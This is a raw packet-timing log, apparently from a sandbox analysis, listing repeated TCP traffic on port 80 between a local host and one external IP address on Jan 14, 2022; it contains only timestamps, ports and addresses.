Jan 14, 2022 09:26:01.150332928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150495052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150509119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150682926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150698900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150860071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.150873899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151048899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151065111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151232004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151246071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151403904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151420116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151566982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151582003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151686907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151834011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.151849985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152004957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152019978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152168989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152183056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152339935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152355909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152503967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152518034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152677059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152692080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.152764082 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.152803898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153028011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153048038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153201103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153220892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153386116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153403997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153554916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153570890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153728962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153750896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153911114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.153929949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.154107094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.154124975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.154246092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.154606104 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.154627085 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.155683994 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.224224091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.237615108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.237647057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.237802029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.237817049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.237986088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238002062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238164902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238178968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238348007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238363981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238528967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238542080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238658905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238800049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.238815069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239072084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239087105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239265919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239279032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239460945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239479065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239646912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239665985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239855051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.239871979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.240055084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.240072966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.240267038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.240283966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.240607023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.240628004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.240812063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.240820885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241007090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241022110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241198063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241209984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241374969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241391897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241564035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241579056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241791964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241808891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241947889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.241962910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242131948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242137909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242325068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242340088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242502928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242516041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242664099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242762089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242805004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.242871046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243098974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243140936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243293047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243308067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243467093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243562937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243578911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243738890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243846893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.243861914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244035006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244046926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244214058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244229078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244395018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244409084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244573116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244587898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244759083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244771957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244951010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.244966984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245121002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245135069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245290995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245306015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245460033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245472908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245630980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245646954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245800972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245814085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245974064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.245989084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246144056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246156931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246315956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246330976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246484041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246498108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246649027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246668100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246819019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246838093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.246997118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.247015953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.247164011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.247181892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.247334957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.254888058 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.260756016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.260901928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261070013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261087894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261260986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261276007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261435986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261454105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261629105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261645079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261809111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261827946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.261993885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262013912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262176037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262191057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262372971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262392044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262553930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262569904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262737036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262754917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262908936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.262923956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263089895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263108015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263261080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263277054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263437986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263539076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263555050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263715982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263735056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263905048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.263919115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264072895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264094114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264245987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264280081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264472961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264493942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264693022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264720917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.264899015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.265024900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.265077114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.265105009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.265291929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.265310049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.265492916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.265651941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.266128063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.266223907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.266381025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.266627073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.266756058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.266983032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.266995907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.267157078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.267374992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.267385960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.267513990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.267740965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.267894030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268064976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268083096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268246889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268260002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268425941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268441916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268599033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268611908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268778086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268793106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268960953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.268973112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269129038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269144058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269295931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269309044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269476891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269490957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269640923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269654036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269757032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269911051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.269927025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270086050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270098925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270243883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270262957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270412922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270431042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270593882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270610094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270761013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270777941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270929098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.270946026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.271090031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.271106958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.271260977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.271276951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.271433115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.271446943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.280100107 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.280344963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.280567884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.280582905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.280735016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.280746937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.280909061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.280925035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281070948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281088114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281244993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281263113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281410933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281428099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281584978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281603098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281771898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281788111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.281944036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282056093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282073021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282229900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282247066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282413006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282427073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282597065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282612085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282767057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282783031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282968044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.282985926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283133984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283152103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283308983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283320904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283471107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283485889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283663034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283677101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283839941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.283854961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284029007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284039021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284204006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284215927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284392118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284403086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284574032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284590960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284750938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284768105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284928083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.284940958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.285120010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.285135031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.285269022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.285339117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.285476923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.285645962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.285805941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.285821915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286011934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286040068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286183119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286199093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286369085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286381960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286545992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286560059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286730051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286746979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286911964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.286928892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.287112951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.287130117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.287494898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.287677050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.287695885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.287867069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.287882090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288091898 CET	49891	80	192.168.2.4	185.215.113.35
